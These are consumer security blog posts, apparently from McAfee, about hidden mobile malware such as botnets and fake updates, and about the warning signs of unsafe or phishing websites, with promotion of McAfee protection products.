Perusing the reviews isn’t a guaranteed way to sniff out a malicious app. In 2020, McAfee discovered that one bad app had more than 7,000 reviews. To help prevent malware from taking hold of your device, consider investing in antivirus software. Antivirus software isn’t just for your desktop. Mobile devices benefit from it, too! McAfee antivirus is compatible with any operating system and offers 24/7 real-time threat protection.
A botnet is a vast collection of malware-infected devices controlled by a cybercriminal. The criminal uses their network of bots to proliferate spam or crash servers.
Malware is a broad term that encompasses dozens of specific strains of malicious software, several of which are capable of recruiting your mobile device to a cybercriminal’s army of bots. Without your knowledge, the criminal can force your phone to message your contact list or divert your device’s computing power to overload a server in a cyberattack.
All the telltale signs of malware are applicable here if your phone is part of a botnet. A botnet commander grants themselves the highest admin access to any device they take over. That means you may also see new apps on your home screen that you never downloaded or messages sent by text, email, or social media direct message that you never wrote.
Criminals recruiting devices to their botnet can embed the necessary malware anywhere malware typically lurks: in fake apps, dubious streaming and file-sharing sites, phishing emails, risky links, etc. The best way to avoid becoming a member of a botnet is to watch what you click on, stay away from risky sites, and treat any message from a stranger with suspicion.
Cybercriminals can conceal their malware within fake software updates that look official. Fake updates often pose as Microsoft updates because of the company’s huge user base. Java and Android operating system updates have also been impersonated in the past.
The common signs of malware apply to fake software updates too. Also, if a fake update was widespread, you’ll likely receive an official correspondence from the software provider issuing a patch.
The best way to avoid being tricked by a fake update is to enable automatic updates on all your devices. When your devices auto-update, you can ignore any pop-up, email, or text that urges you to click on a link to update. Auto-update is a good practice to adopt anyway, as it ensures that you have the latest software, which often means that it’s the most secure.
Another excellent habit that’ll prevent you from compromising your device with a fake software update is to always preview where links will take you. You can do this by tapping and holding the link. Check the hyperlink for typos or for pages that direct away from the organization’s official website.
Cybercriminals are getting craftier by the day, employing new tools (like ChatGPT) and new strains to trick people and infect mobile devices for their own gains. To safeguard all your devices, consider investing in a solution that’ll protect you from every angle. McAfee+ Ultimate is the all-in-one device, privacy, and security service that helps you confidently live your best online life. The proactive monitoring features stop threats in their tracks, saving you a massive headache and guarding your finances and PII. If any online scheme does compromise your identity, the Family Plan offers up to $2 million in identity theft restoration.
Mobile malware doesn’t always scream “suspicious!” As long as you arm yourself with the right tools, practice good habits, and keep your eyes peeled, you should be able to spot malicious software.
1GSMA, “The Mobile Economy”
The post 4 Mobile Malware Threats You Can’t Even See appeared first on McAfee Blog.
Something looks a little…sketchy. Is that website safe or unsafe?
Nowadays, it can take a bit of work to tell.
And that’s by design. Increasingly, hackers and scammers go to great pains when they create their malicious websites. They take extra steps to make their sites look legit, when in fact they’re anything but. Certainly, plenty of other hackers and scammers slap together malicious sites that still look a bit roughshod, which makes them easier to spot.
So whether it’s a clever knockoff or a slapdash effort, unsafe websites of all kinds have several telltale signs you can spot. We’ll show you, and let’s start things off with what makes an unsafe website unsafe in the first place.
Unsafe websites typically harbor one of two primary forms of attack—yet sometimes both:
Malware: Hackers will use their sites to install malware on your device, often by tricking you into clicking or tapping on a download. They might tempt you with an offer, a prize, a show to stream—just about anything you might want to otherwise download. (Recently, we saw hackers installing malware on sites that offered to stream dubbed versions of the “Barbie” movie.)
Phishing: Another classic attack. Phishing involves scammers who try to hoodwink you into providing account or financial information. Common ruses include links in emails, texts, and DMs that appear to be urgent messages from streaming services, banks, social media, and other accounts. Of course, those messages are phony.
As a result, unsafe websites can lead to some not-so-good things.
On the malware side, attackers can install spyware and similar apps that siphon financial and personal information from your device while you’re using it. Other malware might steal files outright or maliciously delete them altogether. Ransomware remains a major concern today as well, where attackers hold devices and data hostage. And even if victims end up paying the ransom, they have no guarantee that the attacker will free their device or data.
Phishing attacks often lead to financial headaches, sometimes large ones at that. It depends on the information scammers get their hands on. In some cases, the damage might lead to identity fraud and a few illicit charges on a debit or credit card. If scammers gather enough information, they can take that a step further and commit identity theft. That can include opening new credit or loans in your name. It could also give a scammer the info they need to get driver’s licenses or employment in your name.
Above and beyond committing fraud or theft on their own, scammers might also sell stolen information to others on the dark web.
Again, all not-so-good. Yet quite preventable.
For some sites, it only takes one sign. For other sites, it takes a few signs—a series of red flags that warn you a site is unsafe. When you’re online, keep a sharp eye out for the following:
The site uses HTTP rather than HTTPS
The “s” stands for “secure.” Specifically, it means that the website uses SSL (Secure Sockets Layer) that creates an encrypted link between a web server and a web browser. SSL helps prevent others from intercepting and reading your sensitive information as it’s transmitted, which is particularly important when you shop or bank online. Likewise, you can also look for a little lock symbol in the address bar of your web browser. That’s one more way you can spot a site that uses SSL.
The site has a combination of typos and poor design
From spelling errors and grammatical mistakes, to stretched-out logos and cheap photography, some unsafe websites are designed poorly. Legitimate businesses pride themselves on error-free and professional-looking sites. If a website looks like it got cobbled together in a hurry or doesn’t seem to be well-designed, that’s usually a red flag. The site might be unsafe, created by attackers who don’t have strong attention to detail—or the creative capabilities to create a good-looking website in the first place.
The web address looks altered or off
Plenty of unsafe sites are imposter sites. They’ll try to pass themselves off as a legitimate company, like the streaming services, banks, and so forth that we mentioned earlier—all to get a hold of your account information. With all these imposter sites in play, look at the site’s address. Scammers will gin up web addresses that are close to but different from legitimate sites, so close that you might miss it. If you’re uncertain about the address, leave the page. Also, note that many companies have web pages that provide lists of the official addresses that they use. Amazon provides an example, and we do the same here at McAfee. Reviewing these lists can help you spot an imposter site.
The site says you have a security issue
A window or graphic pops up on your screen. The site you’re on says that it’s identified a security issue with your device. Or maybe it says that your system isn’t current. Either way, there’s a file the site wants you to download. “You can correct the issue with a click!” Don’t. It’s a classic trick. Instead of fixing your non-existent problem, the download will create one. Scammers use the security alert trick to install malware on the devices of unsuspecting victims.
The site floods you with pop-ups or links to click
A screen full of links insisting you click ranks among the top signs of an unsafe site. So much so, it’s often the subject of sitcom bits. Needless to say, the attackers behind these sites want you to click for one of several reasons. It might be to get you to download malware. It might be to generate ad revenue with clicks. Or it might be to get you to click a link that redirects you to another malicious site. In all, if you encounter a site like this, close your browser. And then run a system scan with your online protection software.
The site offers hard-to-get items at an outrageous discount
These unsafe sites sprout up around the holidays and gift-giving seasons. When stores run low on particularly popular or hot items, scammers will quickly launch sites that claim these items are in stock and ready to ship. Similarly, they might promote popular items at a deep discount. Of course, shopping at these sites will likely lead to one thing—a credit card charge and no item on your doorstep. Be wary when you see ads for stores in your social media feed, in search, and elsewhere. Stick with known, trusted retailers. (And for more on shopping safely online, give this article a quick read.)
The site promises access to hot shows, movies, and sporting events
These sites bear similarities to malicious online shopping sites. When popular movies hit the big screen or major sporting events come around, so do scam sites that promise to stream them for free or at a low cost. Avoid them. Trusted streamers will only carry shows and events that they have the rights to. If you find an offer to stream something that’s heavily discounted, free, or not available on known media outlets, it’s likely a scam. At the very least, it might serve up pirated content, which could carry malware threats along with it.
The site promotes prizes, coupons, or a quiz
Not every site that promotes some kind of giveaway or deal is a scam. Yet the ones that ask for personal or financial information likely are. Scammers prey on people’s love for saving money or even winning a buck or two. Enter the prize, coupon, and quiz sites. Malicious prize and coupon sites will often ask for credit or debit card information, often under the guise of a payout or a discount. Malicious quiz sites will likewise ask for all kinds of personal information, typically questions about the name of your pet, the first car you owned, or where you went to school. The questions share much in common with the security questions used by banks and credit card companies. Handing this information over could lead to a breached account. Give these sites a pass.
Comprehensive online protection software like ours includes web protection that can spot malicious sites for you. It has further features that can prevent downloading malware by accident, not to mention strong antivirus protection if a hacker makes their way through to you. In all, it gives you extra confidence that wherever your travels take you online, you’re protected from sketchy and unsafe sites.
However, another part of your best defense against unsafe websites is you. Knowing what the red flags are and the kinds of information hackers want to steal can help you avoid their attacks from the start.
